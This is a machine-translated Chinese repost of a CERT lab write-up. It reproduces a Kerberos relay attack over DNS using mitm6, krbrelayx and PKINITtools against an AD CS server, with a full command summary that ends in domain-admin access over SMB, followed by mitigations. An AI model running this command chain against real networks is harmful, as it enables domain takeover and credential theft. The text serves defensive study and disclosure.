译文 | Cert 复现 - 使用 krbrelayx 和 mitm6 进行 Kerberos 中继
2022-2-26 09:0:0 Author: mp.weixin.qq.com(查看原文) 阅读量:43 收藏

开卷有益 · 不求甚解


前言

Dirk-jan Mollema 发表了一篇博文,展示了与连接到 AD CS 服务器所在的活动目录的计算机位于同一 (V)LAN 上的攻击者如何获取 kerberos 票证以在受害者系统上冒充域管理员:https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/ 这篇文章有一些关于这次攻击发生了什么的更多细节。

使用的组件

机器

重现此漏洞需要 4 台机器:

img

软件

攻击者的 Linux 机器上应该存在以下软件:

https://github.com/dirkjanm/mitm6

https://github.com/dirkjanm/krbrelayx

https://github.com/dirkjanm/PKINITtools

https://github.com/SecureAuthCorp/impacket

我使用CERT Tapioca VM 作为攻击者的机器,但这也要求我确保启用了 IPv6,并且在 WAN 端禁用了防火墙:

sudo iptables -F
sudo iptables -P INPUT ACCEPT

主机

对于本文中的材料,使用以下主机/域:

域名wd.local

域控制器WIN-6ERMGJ5ECLO.wd.local (192.168.3.1)

AD CS 服务器: adcs.wd.local (192.168.3.103)

受害者(加入域)主机win10.wd.local (192.168.3.108)

域管理员帐户:A[email protected]

攻击者系统192.168.3.100

攻击流

这次攻击中的事件流可以用下面的动画来概括:

重现攻击

通过 mitm6 发布恶意 DNS 服务器

mitm6是一个实用程序,它可以利用 DHCPv6 来强制 IPv4 网络上的 Windows 主机使用任意 DNS 服务器。

受害机器询问 LAN 是否有人提供 DHCPv6 进行设置,包括使用哪个 DNS 服务器:

运行的机器mitm6 告诉受害者它应该用于 DNS 请求:

处理来自受害者的动态更新

当受害系统尝试执行 DNS 更新时,例如首次开机时, mitm6 将拒绝更新:

为了处理这种拒绝,受害者将与域控制器对话以获取 kerberos 票证,以便它可以再次尝试授权。

从经过身份验证的 DNS 动态更新中捕获 kerberos 票证

有了受害者 机器的 kerberos 票证,受害者开始与恶意 DNS 服务器进行协商,以证明应该允许它执行 DNS 动态更新。

这时, krbrelayx 就派上用场了。当经过 kerberos 认证的 DNS 请求进来时, krbrelayx 通知并获取 kerberos 票证:

使用我们的 kerberos 票证获取机器帐户证书

有了有效的 kerberos 票证,对 AD CS 服务器的请求可以变成授权请求:

因为 AD CS 服务器使用 HTTP 200 响应我们的请求,所以我们知道授权有效。所以是时候申请证书了!

在电线上,它看起来像这样:

一旦 AD CS 服务器响应,证书就准备好了,我们可以取它:

krbrelayx

此证书用于 win10.wd.local 机器帐户。

将我们的机器帐户证书升级为受害者的域管理员帐户票证

我们现在可以 gettgtpkinit.py 通过PKINITtools使用我们的 win10.wd.local 机器帐户证书获取 TGT:

现在有了这个保存为 的 TGT, win10.ccache我们可以更进一步获得受害者系统上域管理员帐户的票证, [email protected]我们将其保存为 admin.ccache.

确认我们的机票

现在我们有了域管理员的 kerberos 票证,让我们尝试将它与impacketsmbclient.py中的 实用程序一起使用。请注意,此策略假定我们的受害者系统  具有网络可访问的共享。win10.wd.local

我们能够查看受保护 windows\system32\config 目录的内容,这是普通用户无法做到的。

命令摘要

只是为了把事情放在一起,而不是截图形式,下面是我们在特定实验中(按顺序)使用的命令:

# mitm6 --domain wd.local --host-allowlist win10.wd.local --relay adcs.wd.local -v
# ./krbrelayx.py --target http://adcs.wd.local/certsrv/ -ip 192.168.3.100 --victim win10.wd.local --adcs --template Machine
 
(Power on Win10 VM.)
(Save certificate as cert.txt)
 
$ python gettgtpkinit.py -pfx-base64 $(cat cert.txt) wd.local/win10$ win10.ccache -dc-ip 192.168.3.1
$ python gets4uticket.py kerberos+ccache://wd.local\\win10\$:[email protected] cifs/[email protected] [email protected] admin.ccache
$ KRB5CCNAME=admin.ccache python ~/in/impacket/examples/smbclient.py -k wd.local/[email protected] -no-pass

防御这种攻击

在 AD CS 系统上启用身份验证扩展保护并要求 SSL

当 CERT 发布 有关 AD CS 上 PetitPotam 攻击链的 VU#405600时,我们建议为 AD CS 系统启用身份验证扩展保护 (EPA)。如果您已经部署了此缓解措施,那么恭喜您。您不必担心上述攻击。

在仅使用 IPv4 的网络上阻止 DHCPv6 和 ICMPv6

如果您有一个 未使用 IPv6 的网络,则可以使用在****所有主机上阻止 DHCPv6 和 ICMPv6 来防止 mitm6 上述攻击的组成部分。对于 Windows 防火墙,这涉及设置以下规则来 阻止

  • (入站)核心网络 - IPv6 的动态主机配置协议(DHCPV6-In)
  • (入站)核心网络 - 路由器广告 (ICMPv6-In)
  • (出站)核心网络 - IPv6 的动态主机配置协议(DHCPV6-Out)

译文申明

  • 文章来源为近期阅读文章,质量尚可的,大部分较新,但也可能有老文章。
  • 开卷有益,不求甚解,不需面面俱到,能学到一个小技巧就赚了。
  • 译文仅供参考,具体内容表达以及含义, 以原文为准 (译文来自自动翻译)
  • 如英文不错的,尽量阅读原文。(点击原文跳转)
  • 每日早读基本自动化发布(不定期删除),这是一项测试

最新动态: Follow Me

微信/微博:red4blue

公众号/知乎:blueteams



文章来源: http://mp.weixin.qq.com/s?__biz=MzU0MDcyMTMxOQ==&mid=2247485765&idx=1&sn=8f59d078a9ea8e1daf3eeafdd3c69a0f&chksm=fb35a08dcc42299b54ab3860b25d8048e7ecd5bf44cd964d6cd9ac485432ddee4028d52c46e1#rd
如有侵权请联系:admin#unsafe.sh